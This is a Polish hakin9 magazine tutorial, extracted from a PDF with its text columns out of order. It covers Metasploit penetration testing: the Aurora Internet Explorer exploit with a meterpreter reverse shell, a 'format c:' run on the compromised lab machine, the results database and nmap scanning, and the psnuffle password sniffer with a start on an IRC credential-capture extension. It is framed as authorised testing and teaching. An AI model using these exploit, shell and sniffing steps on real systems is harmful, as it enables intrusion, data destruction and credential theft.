Metasploit w praktyce cz. II.pdf

(547 KB) Pobierz
439858911 UNPDF
ATAK
Metasploit
WOJCIECH SMOL
w praktyce
cz. II
Stopień trudności
Artykuł przedstawia krok po kroku wszystko to, co każdy
zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć
o zaawansowanych testach penetracyjnych oraz metodach
tworzenia własnych modułów Metasploit Framework, ale bał
się własnoręcznie sprawdzić.
praktycznej pracy w środowisku
Metasploit Framework ( Metasploit
w praktyce , hakin9 3/2010) poznaliśmy
jego podstawowe możliwości w zakresie
przeprowadzania testów penetracyjnych z
wykorzystaniem gotowych modułów.
Z udostępnianych przez Metasploit
interfejsów użytkownika, poznaliśmy
szczegółowo środowisko msfconsole . Jako,
że jest najbardziej stabilne, najczęściej
aktualizowane oraz pozwala na dostęp
do praktycznie wszystkich funkcji, nadal
będziemy przede wszystkim z niego korzystać.
Poznaliśmy również kilka praktycznych
przykładowych testów penetracyjnych. Wiemy
już więc, że Metasploit Framework może
zostać wykorzystany na etapie rekonesansu
do zbierania informacji o docelowej
infrastrukturze za pomocą szeregu zawartych
w nim modułów pomocniczych (ang.
auxiliary ). Wiemy również, że setki modułów
exploitów oraz payloadów (programów
wykonywanych w przejętym systemie po
udanym wykonaniu ataku testowego za
pomocą exploitu) pozwalają na wykonywanie
niezliczonej ilości zaawansowanych testów
penetracyjnych. Poznaliśmy również przykłady
ataków testowych wymagających interakcji
z użytkownikiem docelowego systemu, czyli
takich, które są w praktyce spotykane coraz
częściej.
Poznaliśmy również najważniejsze
informacje na temat zyskującego coraz
większą popularność, ofensywnego
podejścia (ang. Offensive Security ) do
tematu bezpieczeństwa informatycznego.
Przypomnijmy, że bezpieczeństwo ofensywne
opiera się przede wszystkim na praktycznym
sprawdzaniu bieżącego stanu bezpieczeństwa
systemu teleinformatycznego. Praktycznym do
tego stopnia, że wykorzystuje w swych testach
narzędzia stosowane przez... komputerowych
włamywaczy. Osoba zajmująca się
ofensywnym bezpieczeństwem będzie więc
szukać w testowanym systemie luk za pomocą
skanera Nessus, czy też określać widoczność
komputerów oraz ich usług za pomocą
skanera nmap. Najciekawszą część takiego
przedsięwzięcia będą jednak stanowić testy
penetracyjne.
Testy penetracyjne stanowią metodę oceny
bezpieczeństwa systemu informatycznego
poprzez symulowanie prawdziwych ataków
mogących pochodzić od potencjalnych
włamywaczy. Tester (zwany często etycznym
hakerem lub pentesterem), korzystając z
prawdziwych narzędzi umożliwiających
wykonanie udanego włamania, próbuje
przełamać zabezpieczenia testowanego
systemu. Dopiero tego rodzaju testy są w stanie
odpowiedzieć na pytanie, czy dany system
informatyczny jest rzeczywiście odporny na
znane obecnie rodzaje ataków. Przykłady
Z ARTYKUŁU
DOWIESZ SIĘ
czym jest ofensywne
bezpieczeństwo,
na czym polegają
zaawansowane testy
penetracyjne,
jakie praktyczne możliwości
oferuje Metasploit Framework
w zakresie tworzenia własnych
modułów ,
w jaki sposób komputerowi
włamywacze odkrywają luki w
systemach informatycznych
i w jaki sposób się do nich
włamują.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe rodzaje
ataków na systemy
informatyczne,
znać podstawy obsługi
systemu Linux.
58 HAKIN9
4/2010
W poprzednim artykule na temat
439858911.009.png 439858911.010.png 439858911.011.png
METASPLOIT W PRAKTYCE CZ. II
tego rodzaju działań, polegających na
wykonywaniu testowych włamań do
własnych systemów (lub cudzych, za pełną
zgodą uprawnionych administratorów
oraz właścicieli) poznaliśmy właśnie w
poprzednim opracowaniu.
Jednak Metasploit Framework pozwala
nie tylko na używanie zawartych w nim w
sposób modularny exploitów, ale również
na tworzenie oraz testowanie własnych
lub przerabianie tych już istniejących.
Środowisko to zawiera również narzędzia
wspierające przebieg kompleksowej
oceny bezpieczeństwa całej infrastruktury,
w tym narzędzia pozwalające na
gromadzenie oraz analizowanie danych
otrzymywanych na podstawie kolejnych
przeprowadzanych testów.
Metasploit Framework. W międzyczasie
rządy Niemiec i Francji zaleciły swym
obywatelom przesiadkę na alternatywne
przeglądarki internetowe. Wreszcie
Microsoft podjął decyzję o załataniu
tej groźnej luki poza comiesięcznym
cyklem łatania, co zostało ostatecznie
zrealizowane 21. stycznia. Przykład ten
pokazuje, jak niesamowicie szybko
społeczność włącza w skład środowiska
Metasplit najnowsze exploity, dzięki
czemu jesteśmy w stanie na bieżąco
testować podatność własnych systemów
na najnowsze zagrożenia typu Zero Day.
Warto przy okazji podkreślić, że operacja
Aurora stanowi jeden z pierwszych
zaobserwowanych ataków typu APT
(ang. Advanced Persistent Threat )
przeprowadzonych na tak masową
skalę. Ataki tego typu wymierzone są
zazwyczaj w duże korporacje lub ośrodki
polityczne i polegają na zaawansowanej
(skoordynowanej i wykorzystującej
zaimplementowany specjalnie na tę
okazję zaawansowany malware, będący
w stanie wykorzystać nieznane do tej
pory luki), uporczywej (zastosowanie
nieznanego do tej pory złośliwego
oprogramowania pozwala zazwyczaj na
uniknięcie wykrycia przez dłuższy czas)
infiltracji, której celem jest zebranie ściśle
określonych danych. Zdaniem wielu
specjalistów, operacja Aurora stanowi
zapowiedź nowej ery tego rodzaju
ataków. My natomiast przypomnijmy
sobie procedurę przeprowadzania testów
penetracyjnych z poziomu msfconsole
sprawdzając podatność testowego
systemu Windows XP na działanie słynnej
Aurory .
Tak jak poprzednio, jako środowisko
pracy z Metasploit Framework posłuży
nam najnowszy systemem Linux
BackTrack 4 Final. W systemie tym,
dostęp do msfconsole uzyskamy,
wykonując polecenie ./pentest/
exploits/framework3/msfconsole lub
też wybierając z głównego systemowego
menu opcję Backtrack/Penetration/
Metasploit Exploitation Framework/
Framework Version 3/msfconsole .
Zanim jednak zaczniemy na dobre,
zaktualizujmy jeszcze całe środowisko
Metasploit za pomocą polecenia svn
update . W jego wyniku rozpocznie się
automatyczny proces aktualizacyjny,
dzięki któremu do dyspozycji otrzymamy
wszystkie najnowsze, dostępne na obecną
chwilę moduły. Wyposażeni w odpowiednią
wiedzę oraz broń załadowaną najnowszą
amunicją możemy wreszcie przystąpić do
naszego pierwszego wystrzału z Aurory .
W tym celu należy w konsoli
msfconsole wykonać następujące
polecenia:
msf > use exploit/windows/
browser/ie _ aurora (wybór oraz
wejście w tryb konfiguracji modułu
exploitu ie_aurora),
msf exploit(ie _ aurora) > set
PAYLOAD windows/meterpreter/
reverse _ tcp (wybór oraz wejście
w tryb konfiguracji modułu payloadu
meterpreter/reverse _ tcp ;
payload to kod, który zostanie
uruchomiony w docelowym systemie
w przypadku udanego wykonania się
ataku testowego),
msf exploit(ie _ aurora) > set
LHOST 192.168.64.129 (ustawienie
adresu IP naszego systemu, z którym
payload uruchomiony w docelowym
systemie nawiąże połączenie
zwrotne),
msf exploit(ie _ aurora) > set
URIPATH / (ustawienie ścieżki w
adresie, na który musimy zwabić
potencjalną ofiarę, w tym przypadku
będzie to po prostu adres komputera,
na którym konfigurujemy exploit),
• msf exploit(ie_aurora) > exploit
(uruchomiemie exploitu ie_aurora).
Praktyka czyni mistrza!
Moim celem ponownie nie jest
omówienie wszystkich, niezliczonych
możliwości środowiska Metasploit. Nie
będę się również zajmował istniejącymi
metodologiami przeprowadzania testów
penetracyjnych, takimi jak OSSTMM
(ang. Open Source Security Testing
Methodology Manual ).
Ponownie skupię się przede
wszystkim na praktycznych przykładach,
na podstawie których poznamy kolejne
możliwości Metasploit Framework.
Na początek przypomnijmy sobie
jednak podstawy pracy w środowisku
msfconsole na przykładzie najnowszego,
słynnego już exploitu Aurora .
Informacje o nowej luce Zero
Day, obecnej w niemal wszystkich
wersjach przeglądarki Internet Explorer,
pojawiły się 12 stycznia br. wraz z
doniesieniami o udanych cyberatakach
(ochrzczonych w toku dalszych wydarzeń
mianem operacji Aurora ) precyzyjnie
wymierzonych w Google, Adobe oraz
kilkadziesiąt innych wiodących firm
z branży informatycznej. Microsoft
niezwłocznie (14.01.2010) opracował
odpowiedni poradnik zabezpieczeń
(Microsoft Security Advisory 979352),
zawierający szereg porad utrudniających
przeprowadzenie udanych ataków.
Od tego momentu, nie upłynęły nawet
24 godziny, a exploit wykorzystujący
najnowszą lukę został upubliczniony
i włączony w skład środowiska
W tym momencie nasz exploit przygotuje
serwer oczekujący na przyjęcia
połączenia z docelowego systemu, co
poznamy po następującej sekwencji
komunikatów:
[*] Exploit running as
background job. msf
exploit(ie _ aurora) >
[*] Started reverse handler on
port 4444
[*] Using URL: http://0.0.0.0:
8080/
[*] Local IP: http://
192.168.64.129:8080/
[*] Server started.
4/2010
HAKIN9
59
439858911.012.png 439858911.001.png
ATAK
Teraz pozostaje nam już tylko
odwiedzenie w docelowym systemie
za pomocą przeglądarki Internet
Explorer złośliwego adresu (czyli
adresu określonego w parametrze:
Local IP: http://192.168.64.129:8080/ ).
W trakcie rzeczywistego ataku, intruz
starałby się zwabić potencjalną ofiarę
na przygotowany przez siebie adres
za pomocą specjalnie przygotowanej
wiadomości e-mail, poprzez przesłanie
linku za pomocą komunikatora IM, itp.
Po odwiedzeniu w systemie
docelowym złośliwego adresu ( http:
//192.168.64.129:8080/ ), jeśli tylko system
ten będzie podatny na atak, w środowisku
Metasploit ujrzymy następującą
sekwencję komunikatów:
msf exploit(ie _ aurora) >
sessions -i 1 ,
[*] Starting interaction with
1... ,
meterpreter > getuid (wyświetlenie
informacji o użytkowniku zalogowanym
w docelowym systemie),
Server username: WOJTEK-
CQS4EXFU\admin ,
meterpreter > shell
(uruchomienie konsoli systemowej
przejętego systemu),
Process 388 created ,
Channel 1 created ,
Microsoft Windows XP [Version
5.1.2600] ,
(C) Copyright 1985-2001
Microsoft Corp. ,
C:\Documents and Settings\
admin\Desktop>format c :
(jesteśmy w konsoli docelowego
systemu, możemy rozpocząć dowolne
działania w zdalnym systemie...),
format c: ,
The type of the i le system is
NTFS ,
WARNING, ALL DATA ON NON-
REMOVABLE DISK ,
DRIVE C: WILL BE LOST! ,
Proceed with Format (Y/N)? Y .
Podsumowując, udało nam się więc
przejąć całkowitą kontrolę nad systemem
Windows XP za pomocą exploitu Zero
Day. Exploit Aurora wszedł w skład
Metasploit Framework na długo przed
opublikowaniem przez Microsoft
stosowanych poprawek bezpieczeństwa.
Skoro przypomnieliśmy już sobie
z jak potężnym narzędziem do
przeprowadzania testów penetracyjnych
mamy do czynienia, możemy przystąpić
do poznawania kolejnych z jego
niezliczonych możliwości.
Zarządzanie zdobytymi
informacjami
Każdy test penetracyjny, czy to
przeprowadzany w pojedynkę, czy też
zespołowo, polega w dużej mierze na
gromadzeniu znacznych ilości informacji.
Już w średniej wielkości organizacji, ilość
danych zgromadzonych na temat całej
infrastruktury na etapie rekonesansu oraz
na temat poszczególnych podatności
wykrytych w trakcie właściwych testów
penetracyjnych, może być przytłaczająca.
Każdy pentester chciałby
dysponować narzędziem umożliwiającym
gromadzenie informacji o
przeprowadzonych do tej pory testach,
szybkie wyszukiwanie w dotychczasowych
wynikach oraz wspierające wymianę
informacji z zespołem oraz przydatne
w trakcie tworzenia raportu z przebiegu
całej operacji. Środowisko Metasploit
Framework oczywiście zostało
wyposażone w mechanizmy wspierające
tego typu operacje.
W środowisku msfconsole , podręczną
bazę danych opartą na technologii
SQLite możemy utworzyć za pomocą
polecenia db _ create . Następnie
należy załadować moduł db _ tracker ,
korzystając z polecenia load db _
tracker . Natomiast polecenie help
pozwoli nam na wyświetlenie wszystkich
dostępnych poleceń dla naszej
podręcznej bazy danych:
[*] Sending Microsoft
Internet Explorer "Aurora"
Memory Corruption to client
192.168.64.135 [*] Sending
stage (723456 bytes) ,
[*] Meterpreter session 1
opened (192.168.64.129:4444 -
>192.168.64.135:1109) ,
msf exploit(ie _ aurora) > .
Połączenie z docelowym systemem
zostało więc nawiązane, a my za pomocą
następujących komend możemy uzyskać
pełny dostęp do wiersza poleceń ofiary:
Przebieg całej procedury można
prześledzić na Rysunku 1.
Rysunek 1. Słynny exploit Aurora w akcji
db _ add _ host – dodanie jednego
lub więcej hostów do bazy,
db _ add _ note – dodanie notatki
do hosta,
db _ add _ port – dodanie
informacji o porcie hosta,
60 HAKIN9 4/2010
439858911.002.png 439858911.003.png
db _ autopwn – uruchomienie automatycznego testu
penetracyjnego,
db _ connect – nawiązanie połączenia z istniejącą bazą
danych,
db _ create – utworzenie nowej bazy danych,
db _ del _ host – usunięcie jednego lub więcej hostów z
bazy,
db _ del _ port – usunięcie informacji o porcie,
db _ destroy – usunięcie istniejącej bazy danych,
db _ disconnect – zerwanie połączenia z istniejącą bazą
danych,
db _ driver – określenie sterownika bazy danych,
db _ hosts – wyświetlenie informacji o wszystkich hostach
w bazie danych,
db _ import _ amap _ mlog – import informacji z pliku
wynikowego programu THC-Amap,
db _ import _ nessus _ nbe – import informacji z pliku
wynikowego (NBE) programu Nessus,
db _ import _ nessus _ xml – import informacji z pliku
wynikowego (NESSUS) programu Nessus,
db _ import _ nmap _ xml – import informacji z pliku
wynikowego programu Nmap,
db _ nmap – uruchomienie skanowania programem
Nmap i zapisanie wyników do bazy,
db _ notes – wyświetlenie wszystkich notatek zapisanych
w bazie,
db _ service s – wyświetlenie wszystkich usług odkrytych
w ramach testowanych hostów,
db _ vulns – wyświetlenie wszystkich podatności
zapisanych w bazie.
Następujący prosty przykład ilustruje wykorzystanie
wbudowanej w Metasploit Framework bazy danych do
zarządzania informacjami zbieranymi w trakcie testu
penetracyjnego:
db _ nmap -v -sV 192.168.64.0/24 – przeskanowanie
sieci 192.168.64.* za pomocą programu Nmap
uruchomionego z zadanymi parametrami i zapisanie
wyników do bazy danych,
db _ hosts – w wyniku otrzymamy informacje na temat
hostów odkrytych przez skaner Nmap,
db _ services – w wyniku otrzymamy informacje na
temat wszystkich usług, które zostały odkryte w ramach
hostów przeskanowanych programem Nmap.
Jak widać praca z bazą nie jest skomplikowana, a daje nam
naprawdę spore możliwości gromadzenia oraz analizowania
informacji zdobywanych na bieżąco w trakcie rekonesansu oraz
ataków testowych. Pentesterzy szukający jeszcze większych
możliwości w zakresie zarządzania informacjami gromadzonymi
w trakcie testów penetracyjnych, powinni natomiast zapoznać
się oprogramowaniem Dradis Framework.
Dradis to otwarty (open source) framework wspierający
nie tylko zbieranie oraz zarządzanie informacjami
4/2010
HAKIN9
61
439858911.004.png 439858911.005.png
ATAK
gromadzonymi w trakcie audytów
bezpieczeństwa informatycznego, ale
również narzędzie pracy grupowej. Z
najciekawszych cech tego aktywnie
rozwijanego oprogramowania warto
wymienić możliwość komunikacji z
wykorzystaniem SSL, funkcje importu z
wielu programów (np. Nmap, Nessus),
możliwość dołączania plików, funkcje
automatycznego tworzenia raportów oraz
możliwość korzystania z zewnętrznych
systemów baz danych informacji o
podatnościach (ang. Vulnerability
databases ).
nie otrzymamy w przypadku bardzo
kosztowych, zamkniętych pakietów
komercyjnych, takich jak choćby
środowisko Core Impact. Jako przykład
rozszerzenia możliwości środowiska
Metasploit Framework o własne pomysły,
spróbujmy rozszerzyć możliwości modułu
pomocniczego psnufl e .
Moduł pomocniczy auxiliary/
sniffer/psnufl e oferuje możliwość
podsłuchiwania haseł używanych w
protokołach pop3, imap, ftp, oraz http.
Oferuje funkcjonalność zbliżoną do
programu Dsniff. Użycie tego modułu w
środowisku msfconsole jest niezwykle
proste i sprowadza się do wykonania
następujących poleceń:
[*] Loaded protocol FTP from
/pentest/exploits/framework3/
data/exploits/psnufl e/ftp.rb...
[*] Loaded protocol IMAP from
/pentest/exploits/framework3/
data/exploits/psnufl e/
imap.rb...
[*] Loaded protocol POP3 from
/pentest/exploits/framework3/
data/exploits/psnufl e/
pop3.rb...
[*] Loaded protocol URL from
/pentest/exploits/framework3/
data/exploits/psnufl e/url.rb...
[*] Snifi ng trafi c.....
[*] Successful FTP Login:
192.168.6.212:21-192.168.6.201:
46614 >> user / pass (220 3Com
3CDaemon FTP Server Version
2.0)
Rozszerzanie możliwości
modułów
Jak już wspominałem, każdy fragment
środowiska Metasploit może zostać
przez nas podejrzany, zmieniony, a
nawet wykorzystany we własnym celu.
Taka otwartość pozwala na proste
tworzenie własnych funkcji, naukę
poprzez podglądanie najciekawszych
rozwiązań, a przede wszystkim powoduje,
że Metasploit Framework ma dosłownie
nieograniczone możliwości. Jeśli jakaś
funkcja jest nam potrzeba, możemy ją
po prostu utworzyć lub zmodyfikować
na własny użytek, moduł już istniejący.
Tego rodzaju funkcjonalności nigdy
msf > use auxiliary/sniffer/
psnufl e
msf auxiliary(psnufl e) > run
Jeśli tylko w widocznym dla naszego
systemu ruchu sieciowym pojawią
się rozpoznawane przez psnuffle
mechanizmy uwierzytelniania,
natychmiast zostaniemy poinformowani o
przechwyconych poświadczeniach:
Załóżmy teraz, że chcielibyśmy rozszerzyć
możliwości modułu psnuffle o funkcję
sniffera poświadczeń przekazywanych
za pomocą protokołu IRC ( Internet Relay
Chat ). Stojąc przed tak postawionym
zadaniem, najprościej będzie, jeśli
zapoznamy się z istniejącymi już
w ramach psnufl e modułami i
wykorzystamy je do własnego celu. W
systemie Linux BackTrack 4 Final, moduły
te odnajdziemy w katalogu /pentest/
exploits/framework3/data/exploits/
psnuffle . Jako szablon wykorzystamy
moduł sniffera protokołu pop3 zawarty
w pliku pop3.rb . Dzięki skorzystaniu z
gotowego przykładu, jesteśmy w stanie
w stosunkowo prosty sposób utworzyć
poszczególne elementy własnego
rozszerzenia modułu. Poszczególne
części będą miały następującą postać.
Definicje wzorców:
[*] Auxiliary module running
as background job
self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}
Rysunek 2. Metasploit wspomaga zarządzanie zebranymi informacjami
Definicje portów oraz sposobu śledzenia
sesji: (Listing 1).
Następnie wystarczy już tylko
opracować przetwarzanie zawartości
pakietów i wychwytywanie treści
spełniających założenia zdefiniowanych
powyżej wyrażeń regularnych. Z pełną
treścią proponowanego rozszerzenia
62 HAKIN9 4/2010
439858911.006.png 439858911.007.png 439858911.008.png
Zgłoś jeśli naruszono regulamin